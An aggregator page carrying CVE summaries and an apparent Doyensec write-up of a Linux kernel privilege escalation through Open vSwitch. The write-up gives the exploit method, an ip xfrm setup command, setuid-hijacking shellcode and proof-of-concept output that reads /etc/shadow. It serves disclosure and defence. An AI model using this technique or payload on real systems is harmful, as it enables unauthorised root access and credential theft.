ZeroHour
Lobsters · securitypublished ()ingested blog.doyensec.com via buherator

The skb that wasn't freed - the Fragnesia primitive via Open vSwitch

AI summary · glm-5.3-flash

Doyensec details CVE-2026-90049 in Open vSwitch, enabling deterministic Linux kernel local privilege escalation on default major distribution installs.

Doyensec reports that the Open vSwitch datapath strips the SKBFL_SHARED_FRAG flag from packets it is still forwarding, allowing an in-place decrypt to write attacker-chosen bytes into root-owned page cache — a Dirty COW-class primitive that re-opens the Fragnesia bug family. The issues are tracked as CVE-2026-90049, CVE-2026-89487, and CVE-2026-80977, and were reported to the kernel security team with fixes coordinated alongside OVS maintainers. A deterministic local privilege escalation works on default installs of Arch, Fedora, Debian, Amazon Linux, and RHEL where unprivileged user namespaces and openvswitch auto-loading are enabled; the fix landed in mainline and shipped in stable on 09/04/2026. The write technique builds on the earlier Fragnesia and Dirty Frag bugs, including CVE-2026-43284 and CVE-2026-43500.

  • Open vSwitch strips SKBFL_SHARED_FRAG from forwarded packets, restoring the Fragnesia write primitive.
  • Deterministic LPE affects default Arch, Fedora, Debian, Amazon Linux, and RHEL with user namespaces.
  • Fix coordinated with kernel security team and OVS maintainers; shipped in stable on 09/04/2026.
  • Builds on the Dirty Frag family including CVE-2026-43284 and CVE-2026-43500.

Vulnerabilities mentionedAll →

CVEVulnerabilityCVSSEPSSFlagsAffectedExposurePublished
CVE-2026-43284
Linux kernel ESP-in-UDP decrypts in place over shared splice pages (CWE-123)

CVE-2026-43284 is a write-what-where memory-safety flaw (CWE-123) in the Linux kernel's xfrm/ESP (IPsec) code: the IPv4/IPv6 UDP datagram send paths fail to mark pages spliced into a UDP skb with SKBFL_SHARED_FRAG when MSG_SPLICE_PAGES attaches pipe pages, so the ESP input path wrongly treats the packet as privately owned and decrypts it in place over memory the skb does not exclusively own. It is triggered when locally generated UDP traffic built from spliced pipe pages is processed by the ESP decryption path, typically in IPsec NAT-traversal (ESP-in-UDP, UDP port 4500) configurations; the in-place decrypt can corrupt or expose data still referenced by the pipe or other owners of those shared pages. A local, low-privileged attacker can thereby cause high-severity confidentiality, integrity, and availability impact that extends beyond the packet itself (CVSS 3.1: 8.8, scope changed); no remote or unauthenticated trigger is described. Any Linux system running a kernel with the vulnerable UDP splice and ESP-in-UDP paths is affected, most importantly IPsec VPN gateways and clients; the advisory lists no affected version ranges. No public proof-of-concept or confirmed in-the-wild exploitation is known (not on CISA KEV), but EPSS assigns a 93.2% probability of exploitation within 30 days (100th percentile), so patching should not be deferred.

Do: Apply your distribution's kernel security update containing the xfrm/esp fix for CVE-2026-43284 and reboot into the patched kernel, prioritizing IPsec VPN gateways and clients that use ESP-in-UDP NAT-T (UDP/4500). Until patched, restrict untrusted local users from sending splice-based (MSG_SPLICE_PAGES) UDP traffic through IPsec-protected paths, or temporarily avoid ESP-in-UDP encapsulation where feasible. Verify the fix via your vendor's package changelog, as the advisory does not name specific fixed version numbers.

8.893%
  • Linux kernel
mass≈1M+ Linux installations carry the vulnerable code in default distro kernels; hundreds of thousands of hosts expose IPsec NAT-T (UDP/4500) in public internet…
CVE-2026-43500
Out-of-bounds write in Linux kernel AF_RXRPC decryption enables root access

CVE-2026-43500 is a memory-corruption flaw in the Linux kernel's AF_RXRPC (rxrpc) subsystem: the DATA and RESPONSE packet handlers only copy received skbs to a linear buffer before decryption when the skb is marked cloned, so non-cloned skbs that still carry externally owned paged fragments (SKBFL_SHARED_FRAG, e.g. set by splice() into a UDP socket, or skbs with a frag_list) fall through to the in-place decryption path. In that path the shared fragment pages are bound directly into the AEAD/skcipher scatter-gather list via skb_to_sgvec(), so decryption writes into pages shared with other kernel or user contexts, causing out-of-bounds/write-what-where corruption (CWE-787/CWE-123), notably via the splice-into-UDP-socket loopback vector. A local low-privileged attacker who can get the machine to process such rxrpc packets can corrupt kernel memory and escalate to root (CVSS 3.1: 7.8 high, local vector, high confidentiality/integrity/availability impact). Affected systems are Linux kernels with the AF_RXRPC subsystem available — the transport used by the AFS/kAFS network filesystem — which mainstream distribution kernels ship as a module or built-in; no specific affected or fixed version ranges are provided in the data. It is not on CISA's KEV list and the CVE record lists no public PoC, but news reports describe a 'Dirty Frag' local privilege-escalation exploit giving root across major distributions and a released PoC, and EPSS puts the 30-day exploitation probability at about 93% (100th percentile).

Do: Apply the kernel update containing the rxrpc fix as soon as your distribution ships it — the fix extends the unshare gate to also unshare skbs with frag lists or shared fragments before in-place decryption; no fixed version numbers are given in the available data, so follow your distro's security advisory. Until patched, check whether rxrpc/AFS is in use (e.g. 'lsmod | grep rxrpc') and avoid or restrict local splice()-into-UDP/loopback AFS traffic on multi-user hosts.

7.893%
  • Linux kernel
mass≈1 billion+ Linux installations (mainstream distro kernels ship AF_RXRPC)
CVE-2026-80977
Shared zerocopy state corruption in Linux kernel via Open vSwitch recirculation clones

A flaw in the Linux kernel networking stack allows skb_tx_error() to modify zerocopy state held in skb_shinfo(), which is shared with every clone, so a cloned skb can prematurely tell the zerocopy producer its pages are free and drop SKBFL_SHARED_FRAG while the original packet is still in flight. The bug is reachable through Open vSwitch when a non-last OVS_ACTION_ATTR_RECIRC action feeds an skb_clone() into ovs_dp_process_packet() while do_execute_actions() keeps forwarding the original; a flow miss on the clone strips the zerocopy markers from the still-in-flight packet. A later local ESP (IPsec) delivery then decrypts in place over fragments it does not privately own, causing kernel memory corruption with high impact on confidentiality, integrity and availability (CVSS 3.1: 7.8; local attack vector, low privileges required, no user interaction). Practical exposure is limited to hosts running the OVS kernel datapath with recirculation actions combined with zerocopy transmit and local ESP delivery, not generic Linux systems. No public PoC exists, the issue is not in CISA's KEV, and no exploitation has been reported.

Do: Update to a kernel release or vendor backport containing the upstream fix that skips touching shared zerocopy state for cloned skbs in skb_tx_error(); track your distro's stable kernel updates for the patch. Until patched, avoid OVS pipelines where a recirculation action is not the last action on zerocopy-transmitted packets that also undergo local ESP/IPsec delivery, and audit OVS hosts with tunnels and IPsec for kernel crashes or page-refcount anomalies.

7.8
  • Linux kernel
large≈10,000–100,000 hosts (OVS-enabled Linux servers/hypervisors; rough order-of-magnitude estimate)
CVE-2026-89487
Linux kernel Open vSwitch error-path bug enables local page-cache writes

The Linux kernel's Open vSwitch module mishandles failures of the USERSPACE action: queue_userspace_packet()'s error path calls skb_tx_error() on an skb it has only borrowed (not dropped), stripping the SKBFL_SHARED_FRAG zerocopy flag from a packet that do_execute_actions() keeps forwarding through the rest of the flow's actions. On a MSG_ZEROCOPY packet carrying page-cache fragments, that flag is what forces the ESP input path (esp_input()) to copy the data before decrypting in place; once stripped, a locally delivered ESP-in-UDP packet decrypts in place over shared page-cache pages the sender does not own, giving an unprivileged local user a page-cache write primitive (the 'Fragnesia' technique). Successful exploitation gives an attacker high confidentiality, integrity, and availability impact — for example, tampering with page-cache-backed file contents to escalate privileges (CVSS 3.1: 7.8, local attack vector, low privileges required). Affected products are Linux kernels containing the openvswitch module, with the flawed error path present since commit 36d5fe6a0007 (2018) but only becoming exploitable once esp_input() began relying on SKBFL_SHARED_FRAG to gate in-place decryption. No public proof-of-concept is known and the flaw is not on CISA's KEV; exploitation requires local code execution plus specific OVS, zerocopy, and ESP-in-UDP conditions.

Do: Patch to a kernel containing the fix (the skb_tx_error() call relocated to the flow-miss drop path in ovs_dp_process_packet()) as soon as your distribution ships it, prioritizing OVS/OVN hosts — OpenStack compute nodes, OpenShift/OVN-Kubernetes nodes, hypervisors — and any host with local unprivileged users or containers. Until patched, audit OVS flows for USERSPACE actions (e.g., sFlow/NetFlow sampling or other upcalls) on machines that also deliver ESP-in-UDP locally, and treat local unprivileged tenants on those hosts as elevated risk. Hosts not running the openvswitch module are not exposed via this path.

7.8
  • Linux kernel (openvswitch module)
mass≈ millions of Linux hosts run OVS/OVN (cloud hypervisors, OpenStack compute nodes, OpenShift/OVN-Kubernetes cluster nodes); the practically exploitable subset…
CVE-2026-90049
Linux kernel skb_zerocopy() error-path flaw risks UAF/memory corruption via Open vSwitch

The Linux kernel's skb_zerocopy() helper destructively calls skb_tx_error() on the source socket buffer when skb_orphan_frags() fails, completing the source skb's zerocopy uarg and clearing the SKBFL_SHARED_FRAG page-ownership flag on a buffer the helper does not own. On the Open vSwitch OVS_ACTION_ATTR_USERSPACE path the skb is not freed after this error - do_execute_actions() ignores output_userspace()'s return value and keeps forwarding the same skb - so zerocopy buffers can be signaled as free while still in flight, and because SKBFL_SHARED_FRAG is cleared, esp_input() can decrypt in place over page fragments the skb does not privately own. A local attacker able to push traffic through an affected Open vSwitch datapath or an nfnetlink_queue (NFQUEUE) flow and trigger a frag-orphaning failure can cause use-after-free conditions and kernel memory/data corruption, with kernel-level confidentiality, integrity and availability impact (CVSS 9.3, local vector, scope changed). Any Linux system with the pre-fix kernel code is affected, with realistic trigger exposure on hosts running the Open vSwitch kernel datapath or NFQUEUE userspace queuing; the source data provides no specific vulnerable or fixed version numbers. No exploitation is known, no public proof-of-concept exists, and the issue is not listed in CISA KEV.

Do: Apply the stable fix ('net: skbuff: don't skb_tx_error() the source skb in skb_zerocopy()') as soon as your distribution or vendor ships an updated kernel, prioritizing hypervisors, SDN gateways and other hosts running the Open vSwitch kernel module or NFQUEUE/nfnetlink_queue rules (check with 'lsmod | grep openvswitch' and nftables/iptables NFQUEUE targets). Until patched, limit untrusted local code execution on OVS/NFQUEUE hosts and treat IPsec/ESP termination on those hosts as higher risk. No public PoC or in-the-wild exploitation is known, so monitor vendor advisories for fixed version numbers.

9.3
  • Linux kernel (net/skbuff skb_zerocopy(), reachable via Open vSwitch kernel datapath and nfnetlink_queue)
massmillions of Linux systems carry the flawed code, with the realistic trigger population (OVS kernel-datapath and NFQUEUE hosts) plausibly in the hundreds of…
Full article3,353 words · extracted from blog.doyensec.com · click to collapse

The skb that wasn't freed - the Fragnesia primitive via Open vSwitch

17 Sep 2026 - Posted by Norbert Szetei

TLDR: Exploit. This is a deterministic local privilege escalation affecting the default install of the latest Arch, Fedora, Debian, Amazon Linux and RHEL distributions, having unprivileged user namespaces enabled, openvswitch auto-loading, and a stock kernel carrying the Fragnesia fix. The issue has been public since 08/13/2026 on netdev, and the fix landed in mainline and shipped in stable on 09/04/2026.

Introduction

Earlier this year a small family of Linux kernel bugs appeared, starting with Copy Fail. Unlike standard memory corruption, their defining feature was that an unprivileged user could overwrite read-only memory mappings simply through legitimate operations, without any race condition or strict timing. That made privilege escalation to root relatively trivial. Copy Fail was followed a week later by Dirty Frag (also called Copy Fail 2), and then by variants such as Fragnesia and DirtyDecrypt.

Fragnesia showed that an unprivileged user could get the kernel to decrypt an ESP packet in place, on top of page-cache pages the user is only allowed to read. The result is a Dirty COW-class primitive, where attacker-chosen bytes end up in the page cache of a root-owned file. Fragnesia reached it through the TCP coalesce path, where skb_try_coalesce() drops the shared-frag marker. Dirty Frag had reached the page cache by two complementary routes. One was the ESP-in-UDP datagram splice path (CVE-2026-43284), the other rxkad_verify_packet_1() (CVE-2026-43500). DirtyDecrypt (also DirtyCBC) landed a structurally similar write in rxgk_decrypt_skb(), in the RxRPC subsystem.

The skb-side bugs all share one weak point, an in-place decrypt running over frags the kernel does not privately own. The Dirty Frag fixes turned that into an explicit rule that ownership is carried by a single flag, SKBFL_SHARED_FRAG, and every in-place-decrypt consumer is expected to check it via skb_has_shared_frag() and take a private copy if needed before writing. Fragnesia is what happens when that flag is lost on a live packet, and the decrypt writes straight over the shared page.

This post describes a new way to lose that flag. We found that Open vSwitch strips SKBFL_SHARED_FRAG from a packet it is still forwarding, which re-opens the exact primitive the Fragnesia fix was meant to close. We reported it to the kernel security team and coordinated the fix with the Open vSwitch maintainers. This is tracked as CVE-2026-90049, CVE-2026-89487 and CVE-2026-80977.

The write technique is the same one Fragnesia used, and we credit it to that work. We walk through it here for completeness. The new element is the trigger.

Open vSwitch architecture

Open vSwitch is the software switch that most virtualization and container stacks use to move packets between VMs, containers, and physical NICs. If you have ever run OpenStack Neutron, oVirt, a Kubernetes CNI like Antrea or OVN-Kubernetes, or plain libvirt with a bridge, there is a good chance OVS was doing the forwarding. It is split into two halves.

The userspace half is ovs-vswitchd, the control plane. It communicates with a controller via OpenFlow, holds the full flow tables, and decides what should happen to a packet it has never seen before. The kernel half is openvswitch.ko, the datapath. It holds no policy of its own, only a table of masked (“megaflow”) entries fronted by a mask cache, each entry pairing a match key with a list of actions to execute. Ports attached to the datapath are called vports, and they can be real netdevs, tunnel devices, or an internal port that looks like a normal interface to the local IP stack.

The two halves are wired together with generic netlink. openvswitch.ko registers six families in dp_genl_families[], four of which matter here. ovs_datapath creates and deletes datapaths, ovs_vport attaches interfaces to them, ovs_flow installs match/action entries, and ovs_packet carries packets between the datapath and the daemon. When a packet arrives and no cached flow matches, the datapath performs an upcall. It copies the packet plus its parsed metadata into an OVS_PACKET_CMD_MISS message and queues it to the portid that ovs-vswitchd registered. Nothing blocks, as ovs_dp_upcall() hands the message off and returns, and the daemon comes back asynchronously with OVS_PACKET_CMD_EXECUTE and a flow to install. This is the flow-miss path. A failed upcall there means the packet is dropped.

There is a second way into the same code. A flow’s action list can contain OVS_ACTION_ATTR_USERSPACE, which dispatches a copy of the packet to a userspace portid in the middle of the action pipeline (as an OVS_PACKET_CMD_ACTION message) and then keeps executing the remaining actions. This is how sFlow and IPFIX sampling work, and how a controller gets a copy of interesting traffic without taking the packet out of the pipeline. The important part is that the packet is only borrowed. The upcall must not mutate it, because the datapath is going to keep forwarding the very same skb through the actions that follow.

Two properties of OVS make it interesting as an unprivileged attack surface. First, the module is autoloadable on every distribution we looked at, and it loads on the first genl family resolution, so no CAP_SYS_MODULE is needed. Second, every mutating OVS genl operation is marked GENL_UNS_ADMIN_PERM rather than GENL_ADMIN_PERM, which means the owner of a user namespace is allowed to perform it inside that namespace. We do not need ovs-vsctl, the daemon, or root. A few hundred lines of raw netlink from inside unshare -Urn are enough to build a datapath, attach a port, and install a flow with any action list we choose.

Background: the marker and the fast path

SKBFL_SHARED_FRAG lives in the skb shared-info flags, and it is a member of the SKBFL_ALL_ZEROCOPY group:

// include/linux/skbuff.h
enum {
    SKBFL_ZEROCOPY_ENABLE   = BIT(0),
    SKBFL_SHARED_FRAG       = BIT(1),
    SKBFL_PURE_ZEROCOPY     = BIT(2),
    SKBFL_DONT_ORPHAN       = BIT(3),
    SKBFL_MANAGED_FRAG_REFS = BIT(4),
};
#define SKBFL_ZEROCOPY_FRAG  (SKBFL_ZEROCOPY_ENABLE | SKBFL_SHARED_FRAG)
#define SKBFL_ALL_ZEROCOPY   (SKBFL_ZEROCOPY_FRAG | SKBFL_PURE_ZEROCOPY | \
                              SKBFL_DONT_ORPHAN | SKBFL_MANAGED_FRAG_REFS)

The Dirty Frag fix (f4c50a4034e6, “xfrm: esp: avoid in-place decrypt on shared skb frags”, Kuan-Ting Chen) taught esp_input() to check the marker before taking its no-copy fast path. The excerpt below is the IPv4 path, net/ipv6/esp6.c carries the equivalent gate.

// net/ipv4/esp4.c  (esp_input, paraphrased)
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb))
        /* linear: decrypt in place */ ;
    else if (!skb_has_frag_list(skb) &&
             !skb_has_shared_frag(skb))          // [1]
        /* nonlinear but privately owned: decrypt in place */ ;
}
...
/* otherwise: skb_cow_data() -> decrypt over a private copy */

At [1], if SKBFL_SHARED_FRAG is set, the fast path is skipped and the frags are copied first.

Fragnesia was a case of the flag being dropped before it reached [1]. skb_try_coalesce() transferred paged frags from one skb to another without carrying the marker across. William Bowling’s fix (f84eca58, “net: skbuff: preserve shared-frag marker during coalescing”) propagates it in two lines, and lists f4c50a4034e6 in its Fixes: trailer.

Then Hyunwoo Kim swept up the rest. 48f6a535 (“net: skbuff: propagate shared-frag marker through frag-transfer helpers”) found the same omission in __pskb_copy_fclone(), skb_shift(), skb_gro_receive(), skb_gro_receive_list(), tcp_clone_payload(), and skb_segment(). The commit message is worth reading in full, because it spells out how little is needed to reach the primitive. A single nft dup to <local> rule lands an skb returned by pskb_copy() in esp_input() with the marker stripped, as does any other nf_dup_ipv4() or xt_TEE caller.

So the invariant is maintained in two ways: consumers check the flag, and every path that moves frags between skbs preserves it. The second was established by enumerating the helpers that transfer frag descriptors and making each one carry the marker across.

The enumeration does not, however, cover a path that moves no frags at all. Suppose code took a correctly marked skb, transferred nothing, and simply unset the bit where it sat, on a packet it was still forwarding. That skb takes the in-place branch at [1], and the decrypt writes its output over whatever the frag points at.

Such a path does not have to know anything about shared frags to break the invariant. skb_zcopy_clear() clears SKBFL_ALL_ZEROCOPY in one mask, which is correct for the four bits that describe zerocopy completion. But SKBFL_SHARED_FRAG is in that mask, and it describes page ownership instead.

Root cause analysis

Look at the error path of queue_userspace_packet(), the function behind every upcall, before our fix:

// net/openvswitch/datapath.c  queue_userspace_packet()
    err = skb_zerocopy(user_skb, skb, skb_len, hlen);
    ...
    err = genlmsg_unicast(ovs_dp_get_net(dp), user_skb, upcall_info->portid);
out:
    if (err)
        skb_tx_error(skb);          // [2]
    consume_skb(user_skb);
    consume_skb(nskb);
    return err;

skb_tx_error() is meant to settle the zerocopy state of a packet that failed to transmit, and its kerneldoc is explicit that “skb must be freed afterwards.” It reaches skb_zcopy_clear(), which clears the whole zerocopy group:

/**
 *	skb_tx_error - report an sk_buff xmit error
 *	@skb: buffer that triggered an error
 *
 *	Report xmit error if a device callback is tracking this skb.
 *	skb must be freed afterwards.
 */
void skb_tx_error(struct sk_buff *skb)
{
	if (skb) {
		skb_zcopy_downgrade_managed(skb);
		skb_zcopy_clear(skb, true);
	}
}
// include/linux/skbuff.h
static inline void skb_zcopy_clear(struct sk_buff *skb, bool zerocopy_success)
{
    struct ubuf_info *uarg = skb_zcopy(skb);
    if (uarg) {
        if (!skb_zcopy_is_nouarg(skb))
            uarg->ops->complete(skb, uarg, zerocopy_success);
        // [3] SHARED_FRAG goes with it
        skb_shinfo(skb)->flags &= ~SKBFL_ALL_ZEROCOPY;    
    }
}

[3] clears two independent facts in one statement. One is the ubuf lifecycle state, the other is SKBFL_SHARED_FRAG, which marks page ownership. The kerneldoc’s contract makes this safe for a caller that immediately frees the skb, and almost all skb_tx_error() callers do exactly that.

Open vSwitch is the exception. On the action-execution side, do_execute_actions() discards the return value of the upcall and keeps forwarding the same skb:

// net/openvswitch/actions.c  do_execute_actions(), OVS_ACTION_ATTR_USERSPACE
    output_userspace(dp, skb, key, a, attr,
                                len, OVS_CB(skb)->cutlen);  // [4] result ignored
    OVS_CB(skb)->cutlen = U32_MAX;
    ...
    break;                                                  // skb lives on

So the sequence is this. A flow whose actions are [USERSPACE(...), OUTPUT(...)] runs the upcall at [4], the upcall fails, skb_tx_error() strips SKBFL_SHARED_FRAG at [2] and [3], and the packet proceeds to OUTPUT. It is now unmarked, with its foreign frags still attached. If that output leads to a local ESP delivery, esp_input() sees no marker and decrypts in place, before the tag is checked.

One constraint shapes what can reach this. [3] only fires when skb_zcopy() returns non-NULL, which requires SKBFL_ZEROCOPY_ENABLE. An skb carrying SKBFL_SHARED_FRAG alone is left untouched, so the splice producer used by Dirty Frag and Fragnesia cannot reach this path. MSG_ZEROCOPY can, because it sets SKBFL_ZEROCOPY_FRAG, which has both SKBFL_ZEROCOPY_ENABLE and SKBFL_SHARED_FRAG.

Reaching it as an unprivileged user

Three preconditions have to be met from an unprivileged context.

The first is CAP_NET_ADMIN in a namespace. As described above, all Open vSwitch generic-netlink operations are GENL_UNS_ADMIN_PERM, so unshare -Urn gives us a user and network namespace where we are root-in-userns with CAP_NET_ADMIN over our own netns. Unprivileged user namespaces are currently enabled by default on most distributions.

The second is the openvswitch module. This is easy to fulfill, as asking the kernel to resolve the ovs_datapath family autoloads it.

The third is a page-cache frag that keeps its marker. We build the packet with MSG_ZEROCOPY over a PROT_READ, MAP_SHARED mapping of a root-owned file. The pinned pages are the file’s page-cache folios, and the resulting skb carries them as a frag with flags 0xb:

SKBFL_ZEROCOPY_ENABLE | SKBFL_SHARED_FRAG | SKBFL_DONT_ORPHAN

SKBFL_DONT_ORPHAN is what keeps the frag foreign. When Open vSwitch copies the packet into the upcall message it calls skb_zerocopy(), which would ordinarily replace the shared pages with kernel-owned copies. But:

// include/linux/skbuff.h
static inline int skb_orphan_frags(struct sk_buff *skb, gfp_t gfp_mask)
{
    if (likely(!skb_zcopy(skb)))                    return 0;
    if (skb_shinfo(skb)->flags & SKBFL_DONT_ORPHAN) return 0;   // [5] no copy
    return skb_copy_ubufs(skb, gfp_mask);
}

MSG_ZEROCOPY sets SKBFL_DONT_ORPHAN, so at [5] the copy is skipped and the foreign page-cache frag survives the upcall intact, right up to the moment skb_tx_error() strips its marker.

Putting it together, the environment is:

  1. A separate netns for the sender, joined to the OVS datapath by a veth pair. The datagram has to leave veth0 and arrive at veth1 on the OVS side. If it loops back locally instead, the kernel copies the borrowed pages and the primitive dies.
  2. A datapath with a flow that upcalls and then forwards: in_port(1),ipv4 -> [USERSPACE(pid=<unbound>), OUTPUT(0)]. Nothing is listening on that portid, so the upcall fails every time, and the failure is what strips the marker at [2] before OUTPUT forwards the same packet onward.
  3. An ESP-in-UDP receiver on the far side, so the forwarded packet is delivered to esp_input(). This is an xfrm state using rfc4106(gcm(aes)) with UDP encapsulation on port 4500.

The sender then does a single sendmsg(MSG_ZEROCOPY) whose iov is [ esp_header | file_page_frag | icv ].

Confirming the strip

Before building any exploitation on top, we confirmed the primitive with a kprobe/kretprobe pair on skb_tx_error(), printing the same skb’s state on entry and return:

[ENTRY ] skb=0xffff8aa101453400 len=1242 data_len=1200 nr_frags=1 flags=0xb comm=zc
[RETURN] skb=0xffff8aa101453400 len=1242 data_len=1200 nr_frags=1 flags=0x0

nr_frags and data_len are unchanged across the call, so the foreign page is still attached, while flags goes from 0xb to 0x0. The marker and the rest of the zerocopy group are gone, but the page-cache frag remains. That is precisely the state esp_input() must never decrypt in place.

From a strip to a chosen write

With the marker gone, the in-place decrypt writes plaintext = ciphertext XOR keystream over the folio. The ciphertext is the file’s own content, which we can read, so the write is computable. With a random keystream it is still only good for corruption. This is where the Fragnesia endgame comes in unchanged. We control the keystream, because we are the one who installed the ESP security association and therefore chose its key.

What the packet looks like

The SA is transport-mode ESP with UDP encapsulation, installed inside our own netns:

ip xfrm state add src 10.99.99.1 dst 10.99.99.2 proto esp spi 0x42434445 mode transport \
    aead 'rfc4106(gcm(aes))' 0x000102030405060708090a0b0c0d0e0f11223344 128 \
    encap espinudp 4500 4500 0.0.0.0

The 20-byte AEAD key is not just an AES key. RFC 4106 §8.1 specifies that the keying material for a 128-bit AES-GCM key is 20 octets, the first 16 being the AES key and the remaining four the salt used in the nonce. So here K = 000102...0f and salt = 11223344. The 128 is the ICV length in bits.

The datagram our sender builds is a valid ESP-in-UDP packet with a deliberately wrong tag:

UDP dport 4500
+---------------+---------------+----------------+--------------+------------+
| SPI (4)       | Seq (4)       | IV (8)         | ciphertext   | ICV (16)   |
| 0x42434445    | per packet    | chosen per pkt | file bytes   | zeros      |
+---------------+---------------+----------------+--------------+------------+
|<--------- owned buffers ---------------------->|<- FOREIGN -->|<- owned -->|

Only the ciphertext region points at the mapped file. The header and the ICV come from our own buffers. The ciphertext is the frag, a descriptor pointing straight at the file’s page-cache page with no copy in between. Within the file, it begins at the byte we intend to modify, so the first keystream byte lands on it.

Where the keystream comes from

GCM is AES in counter mode for confidentiality, plus GHASH over the ciphertext for authentication. Instead of encrypting the data, counter mode encrypts only a counter, and XORs the result against the data. Hence decryption is the same operation as encryption.

For RFC 4106 the 12-byte GCM nonce is salt || IV. At 96 bits, the counter block is that nonce followed by a 32-bit count, starting at 1 and incrementing per block:

counter 1 = salt (4) || IV (8) || be32(1) encrypted, masks GHASH into the tag
counter 2 = salt (4) || IV (8) || be32(2) keystream for payload bytes 0..15
counter 3 = salt (4) || IV (8) || be32(3) keystream for payload bytes 16..31
...

The first block is used for the tag, so the keystream covering the payload starts at count 2. The kernel runs that XOR pass over the destination scatterlist (built from the skb, with the frag included) before comparing the tag. Our ICV is all zeros, so the comparison always fails and the packet is dropped with -EBADMSG - after the bytes have been written into the page-cache folio.

Choosing one byte

Suppose we want byte value P at file offset X, where the file currently holds C. The frag begins at X, so X is payload byte 0 and gets XORed with the first byte of keystream at counter 2. We need an IV whose first keystream byte is C XOR P.

The IV is 8 bytes and nothing constrains it, so we hold most of it fixed and sweep a counter through the rest:

IV = cc cc cc cc  00 00  nn nn
     ^---------^  ^---^  ^---^
       fixed       zero   n = 0..0xffff

For each n we compute the first keystream byte and record the first n that produces each value:

table = array of 256 entries, empty
for n = 0 .. 0xffff:
    iv = 0xcccccccc || n # as above
    byte = AES_K(salt || iv || be32(2))[0]
    if table[byte] is empty:
        table[byte] = n
    if table is full:
        stop

This is a random search over 256 values, so a few thousand AES blocks typically fill the table, and the 16-bit sweep gives far more candidates than we need. It runs in userspace before a single packet leaves.

Building the table once means every one of the payload bytes costs a single lookup rather than its own search:

n = table[current_byte XOR wanted_byte]

Only one byte per packet is chosen. The rest of the payload comes from the same keystream, so the IV that gives us the byte we want at offset 0 leaves the following bytes as garbage. We advance the frag one byte per packet, so each chosen byte lands on the previous packet’s first garbage byte and overwrites it, building the payload from left to right.

Walking a whole buffer

One byte per packet is fine, because the collateral is bounded and self-repairing:

  • We cap each packet at 32 ciphertext bytes, two AES blocks, so it deposits one chosen byte followed by up to 31 bytes of keystream garbage. The next packet’s chosen byte lands on the first of those garbage bytes, so walking from left to right repairs as it goes.
  • We pread() the target byte again before every packet. The page cache already reflects the earlier writes, so C is always the current value and never a stale one.
  • If a byte already equals its target, we skip it and send no packet at all.
  • Near the end we shrink the payload with esp_len = min(32, len - i), so the final packet carries a single byte and nothing outside [off, off+len) is ever touched.

The net result is a byte-granular, arbitrary, chosen-content write into the page cache of a file the attacker cannot open for writing, at roughly one packet per differing byte, with no brute force and no race.

From a chosen write to a root shell

The page-cache write is transient. The folio is never marked dirty, so it is never written back, and dropping caches, memory pressure, or a reboot restores the on-disk content. That is not a limitation for a local privilege escalation exploit. It only means the target has to be executed while the corrupted page is still resident.

Our proof of concept aims the primitive at an existing setuid-root binary. Every distribution ships several of them (chsh, chfn, newgrp, chage, gpasswd, su, passwd, mount and friends), so there is nothing to plant. shell.sh defaults to /usr/bin/mount and takes any other path as an argument:

./shell.sh                  # hijack /usr/bin/mount
./shell.sh /usr/bin/chfn    # or any other setuid-root binary

Replacing the ELF, not the entry point

An earlier version of the PoC patched a small stub over the target’s ELF entry point. That works, but it has to cope with whatever the target happens to be, which today means a dynamically linked PIE that runs the loader before it ever reaches _start. Overwriting the first 160 bytes of the file with a complete static ELF, as Copy Fail did, is both shorter and independent of the victim binary.

It uses one PT_LOAD segment, read plus execute, mapped at a fixed 0x400000, and no PT_INTERP, so the dynamic loader is not involved at all and there is nothing to relocate.

The payload:

00400078  31c0               xor     eax, eax  {0x0}
0040007a  31ff               xor     edi, edi  {0x0}
0040007c  b069               mov     al, 0x69
0040007e  0f05               syscall ; setuid
00400080  488d3d0f000000     lea     rdi, [rel data_400096]  {"/bin/sh"}
00400087  31f6               xor     esi, esi  {0x0}
00400089  6a3b               push    0x3b {var_8}
0040008b  58                 pop     rax {var_8}  {0x3b}
0040008c  99                 cdq       {0x3b}  {0x0}  {0x3b}
0040008d  0f05               syscall ; execve
0040008f  31ff               xor     edi, edi  {0x0}
00400091  6a3c               push    0x3c {var_8}
00400093  58                 pop     rax {var_8}  {0x3c}
00400094  0f05               syscall ; exit

execve of the setuid binary already gives us euid == 0, and the setuid(0) in front of it turns that into ruid = euid = suid = 0, so the shell has no reason to drop privileges.

The target file has to be at least 160 bytes, which every real binary is, and the write lands entirely within the first page. Which is the page execve reads the ELF header and program headers from.

From namespace to root

The write is performed inside the user namespace, but the root shell is taken outside it. The page cache is not namespaced, so the patched folio is visible to the real uid 1000 that then executes the setuid binary:

$ uname -a
Linux ip-172-31-20-27.ec2.internal 6.12.0-211.53.1.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Sep  6 21:34:46 EDT 2026 x86_64 GNU/Linux
$ id
uid=1001(tbnz) gid=1001(tbnz) groups=1001(tbnz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ ./shell.sh
    DP_NEW tdp0    -> OK (0)
    VPORT_NEW      -> OK (0)
    FLOW_NEW       -> OK (0)
[encap] udp/4500 armed for ESP-in-UDP
[*] /usr/bin/mount patched in page cache - root shell (Ctrl-D to exit and restore):
# id
uid=0(root) gid=1001(tbnz) groups=1001(tbnz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# head -1 /etc/shadow
root:*:20186:0:99999:7:::
# exit
exit
[+] evicted page cache for /usr/bin/mount -> on-disk content restored

The group id stays at the caller’s, since the stub only calls setuid(0). Only uid and euid matter for reading /etc/shadow and for everything that follows.

On exit the script calls poc evict, which is posix_fadvise(POSIX_FADV_DONTNEED) over the whole file. That drops the never-dirtied pages, the next read pulls the original bytes off disk. The whole thing lives and dies in the page cache.

Impact

On a default install of current Arch, Fedora, Debian, Amazon Linux or RHEL, with unprivileged user namespaces enabled, openvswitch autoloading, and a stock kernel carrying the Fragnesia fix, this is a deterministic unprivileged local privilege escalation. Ubuntu’s default AppArmor unprivileged user namespaces makes the default install not exploitable.

Mitigation

Most desktops, laptops, and servers never run Open vSwitch. On those, block the module from autoloading. It has no reason to load, and stopping it closes the datapath entirely. The block matters even when the module is not currently loaded, because an unprivileged user in a namespace can pull it in on demand just by asking the kernel to resolve the ovs_datapath genl family.

# /etc/modprobe.d/no-openvswitch.conf
install openvswitch /bin/false

